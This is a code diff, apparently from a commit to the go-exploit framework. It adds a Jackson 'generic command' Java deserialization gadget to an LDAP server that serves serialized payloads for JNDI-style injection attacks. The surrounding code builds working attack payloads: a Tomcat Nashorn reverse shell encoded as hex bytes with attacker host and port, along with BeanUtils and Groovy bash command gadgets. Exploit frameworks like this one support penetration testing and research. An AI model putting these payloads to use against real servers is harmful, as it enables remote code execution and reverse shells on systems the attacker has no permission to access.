@@ -22,6 +22,7 @@ import (
2222
2323 message "github.com/lor00x/goldap/message"
2424 ldap "github.com/vjeantet/ldapserver"
25+ "github.com/vulncheck-oss/go-exploit/java"
2526 "github.com/vulncheck-oss/go-exploit/output"
2627)
2728
@@ -38,6 +39,8 @@ const (
3839 BeanUtils194GenericBash GadgetName = 3
3940 // load class via an HTTP server.
4041 HTTPReverseShell GadgetName = 4
42+ // See implementation in java.JacksonGenericCommand.
43+ JacksonGenericCommand GadgetName = 5
4144)
4245
4346// a dirty way to pass the user's desired gadget to `handleBind`.
@@ -111,7 +114,7 @@ func CreateLDAPServer(name string) *ldap.Server {
111114 return server
112115}
113116
114- func SetLDAPGadget (gadget GadgetName , binary string , lhost string , lport int , command string ) {
117+ func SetLDAPGadget (gadget GadgetName , binary , lhost string , lport int , command string ) {
115118 switch gadget {
116119 case TomcatNashornReverseShell :
117120 GlobalSerializedPayload = createTomcatNashornReverseShell (binary , lhost , lport )
@@ -121,6 +124,11 @@ func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, co
121124 GlobalSerializedPayload = createGroovyGenericBash (command )
122125 case BeanUtils194GenericBash :
123126 GlobalSerializedPayload = createBeanUtils194GenericBash (command )
127+ case JacksonGenericCommand :
128+ var err error
129+ if GlobalSerializedPayload , err = java .JacksonGenericCommand (command ); err != nil {
130+ output .PrintFrameworkError (err .Error ())
131+ }
124132 case HTTPReverseShell :
125133 fallthrough
126134 default :
@@ -140,6 +148,8 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin
140148 fallthrough
141149 case BeanUtils194GenericBash :
142150 fallthrough
151+ case JacksonGenericCommand :
152+ fallthrough
143153 default :
144154 output .PrintFrameworkError ("Invalid payload" )
145155
@@ -166,7 +176,7 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin
166176// "10.9.49.242" -> lhost
167177// 1270 -> lport
168178// The change in size will then be accounted for in the padding variable.
169- func createTomcatNashornReverseShell (binary string , lhost string , lport int ) string {
179+ func createTomcatNashornReverseShell (binary , lhost string , lport int ) string {
170180 shellPayload := "\xac \xed " +
171181 "\x00 \x05 \x73 \x72 \x00 \x1d \x6f \x72 \x67 \x2e \x61 \x70 \x61 \x63 \x68 \x65 " +
172182 "\x2e \x6e \x61 \x6d \x69 \x6e \x67 \x2e \x52 \x65 \x73 \x6f \x75 \x72 \x63 \x65 " +
0 commit comments